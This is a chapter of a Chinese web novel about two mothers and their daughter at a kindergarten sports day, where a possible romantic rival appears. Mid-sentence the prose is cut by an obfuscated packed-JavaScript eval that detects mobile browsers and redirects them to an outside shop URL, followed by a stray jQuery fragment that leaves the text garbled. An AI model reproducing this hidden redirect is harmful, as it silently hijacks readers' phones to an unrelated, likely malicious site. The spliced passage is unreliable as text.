周念的幼儿园周六上午有亲子活动,为此,裴苒专程腾出时间来陪她。
才早上七点,念念已经换了三套衣服。
“妈妈,这件好看还是这件好看?”
她把一件粉色卫衣和一件黄色毛衣举在手里,小脸皱成一团,表情严肃得像是要参加联合国会议。
裴苒被女儿郑重其事的严肃逗笑了,指了指粉色的那件,“上面有小兔子,跑起来的时候耳朵会晃,感觉很适合你。”
“可是黄色的有花花哎。”念念撅着嘴,显然已经在这两件衣服之间纠结了很长时间。
“粉色。”周漾从卧室走出来,已经换好了白色运动外套和深色长裤,头发扎成低马尾,清爽利落。
“黄色那件衣服不适合做亲子活动,到时候跑起步来绑带会掉。”
念念虽然还是很纠结,但她相信周妈妈的判断,于是乖乖套上了粉色卫衣。
裴苒在旁边看着这一幕,心里有些不是滋味。
什么嘛…她说的话念念就不听,周漾的话,念念就听……
吃醋了!
裴苒撅起小嘴,一副想发作又不好意思发作的样子。毕竟和周漾争锋吃女儿的醋,总让人觉得有些不好意思。
“裴苒。”周漾叫了她一声,递过来一件叠好的外套,“外面起风了,带件薄的。”
裴苒惊讶接过外套,没想到竟然还有自己的份。
等她套上外套才发现,自己身上这件衣服和周漾身上的那件衣服配色十分相似,看上去就像是情侣装一样。
“走吧。”周漾拎起念念的小书包。
念念蹦蹦跳跳地冲到门口,一手拉着裴苒一手拉着周漾,把两个人的手往一起拽。“今天要一家三口一起赢!”
听到‘一家三口’这4个字,裴苒和周漾对视了一眼,又默契的一起移开双眼,不敢去看对方的眼睛。
两人都不知道对方究竟是怎么想的,因此也不敢轻易跨越雷池一步,生怕打破现在微妙的平衡。
幼儿园门口挂了一条红色的横幅,写着“阳光亲子运动会”六个大字。
操场上已经搭好了几个活动区,沙坑边上插着彩旗,滑滑梯旁边摆了一排小板凳。
来的家长不少,大部分是一家三口,也有几个是爷爷奶奶带来的。
念念一进校门就变成了社交达人,和每一个路过的小朋友打招呼,然后郑重其事地介绍:“这是我妈妈,这也是我妈妈。”
“哇,你的妈妈们好漂亮,以前怎么没有见过你的另外一个妈妈?”一个扎羊角辫的小女孩好奇地问。
念念摇头晃脑的解释,“我的另外一个妈妈很厉害,她一直在国外工作,最近才回国。”
刚刚‘回国’的裴苒有些心虚,没想到这母女俩对外商量好了一致的措辞。她只好假装咳嗽来掩饰自己尴尬的表情。
亲子活动第一项是三人四足。老师给每组家庭发了绑带,要求三个人的相邻脚踝绑在一起,配合走到终点。
念念站在中间,左手牵着裴苒,右手牵着周漾,像个正在排兵布阵的小将军。
“妈妈,周妈妈,你们要配合好。我喊一,迈外面的脚。我喊二,迈里面的脚。不要乱!”
裴苒之前没有训练过,有些紧张:“你们提前练过吗?”
念念:“周妈妈带我在客厅练了两天,把茶几都撞歪了!”
裴苒抬头看了周漾一眼,周漾正蹲在念念另一边,低着头认真地调整绑带的松紧。她的侧脸被晨光勾出一道干净的线条,耳后有一小缕碎发落下来,随着她低头的动作轻轻晃动。
哨声响了。
念念在前面喊口令,声音又尖又亮,三个人配合得意外默契。
裴苒节奏感好,周漾虽然协调性一般但反应快,每次快要绊倒的时候都能及时调整。
从起跑线到终点线,一路畅通无阻。冲线的瞬间,念念整个人跳起来尖叫:“第一名!我们是第一名!”
旁边几组家庭还在半路上磕磕绊绊。有一组爸爸已经摔了两跤,鞋都飞了一只。念念看着那只飞出去的鞋,笑得前仰后合。
周漾也笑了。
她笑起来的时候和平时完全不一样——眼睛会弯成一个小小的弧度,嘴角往两边牵,露出一排整齐的牙齿。
裴苒看着她笑的样子,破碎的记忆忽然浮上心头。
她想起她们刚结婚那年,周漾还会在沙发上看综艺笑得前仰后合,在那些没有被生活磨掉的缝隙里,她还会露出毫无防备的笑容。
只是后来……
“妈妈!”念念出声打断她的思绪,拉着她去玩滑滑梯,又去沙坑里堆沙堡。
裴苒坐在沙坑边的长椅上,看着念念用小铲子往桶里装沙,周漾去买水。
阳光从头顶的梧桐树缝隙里漏下来,在地面上投下一片一片的光斑。念念的头发被风吹得毛毛的,她今天早上自己扎的揪揪已经歪了一个,裴苒伸手帮她重新绑了一下。
“周妈妈怎么还没回来?”念念往操场边看了一眼。
裴苒也看过去。
操场边上有一个小卖部,周漾站在冰柜前挑饮料。但她旁边多了一个人。
一个卷发,穿驼色风衣的女人,正笑着和周漾说话。
裴苒认出了那个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17692005|207925||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
女人。
那是她第一次去漾华实业找周漾签合同。当时隔着办公室玻璃看见的那个和周漾态度亲密的女人。就是她。
现在,对方正站在周漾旁边,手里端着一杯咖啡,姿态从容,笑容得体,一看就是那种在社交场合游刃有余的类型。
念念也看到了,好奇的问:“妈妈,那个阿姨是谁?她怎么在跟周妈妈说话?”
“应该是周妈妈的朋友吧。”裴苒说。
她也不确定两人的关系,但女人的直觉告诉她,她和周漾之间,似乎并不是普通朋友的关系。
“我不喜欢她。”念念皱了皱小鼻子。
“为什么?”
周念一向很有礼貌,裴苒很少从她口中听到如此直白的对一个人的讨厌。
“她看周妈妈的眼神,就像我看草莓蛋糕一样。”
“嗯……”周念说:“想一口吃掉。”
裴苒愣了一下,然后差点笑出来。念念的比喻永远精准得让人无法反驳。
周漾和卷发女人说了几句话,然后拎着几瓶水往沙坑这边走。
卷发女人没有离开,而是跟着她一起走过来了。
裴苒站起来,感觉到自己的脊背本能地挺直了一些。
走到长椅前,周漾把水递给裴苒,给她介绍:“介绍一下,这位是南希,我们一直合作的设计师,也是漾华的投资人之一。”
南希,裴苒在心里重复了一遍这个名字。
看来对方在周漾心里是一个很重要的位置。
南希远比刚才在远处看到的要年轻许多,大概三十出头,卷发打理得很精致,妆容不浓不淡,恰到好处,整个人从头发丝到鞋尖都透着一股精心维护的高级感。
和自己相比……裴苒竟然有些自惭形秽。
“裴苒,”南希笑着伸出手,声音柔和。
“之前在周漾办公室见过你一次,不过应该没来得及打招呼。”
“你好。”
裴苒和她握手,南希的手很软,温度刚好,握的力度不轻不重。
“你好。”裴苒收回手,语气客气但不过分热情,“我是…”
她不知道该怎么和对方介绍自己的身份,于是只说:“我是念念的母亲。”
空气在那一刻微微凝了一下。
南希的笑容没有变,但她眼角的弧度僵了一瞬。
她偏头看了周漾一眼。
那个眼神很快,但裴苒看得很清楚——那是一种确认,一种在重新评估的眼神。
南希以为周漾是单身。
至少,她之前一直以为自己在追的是一个单身的人。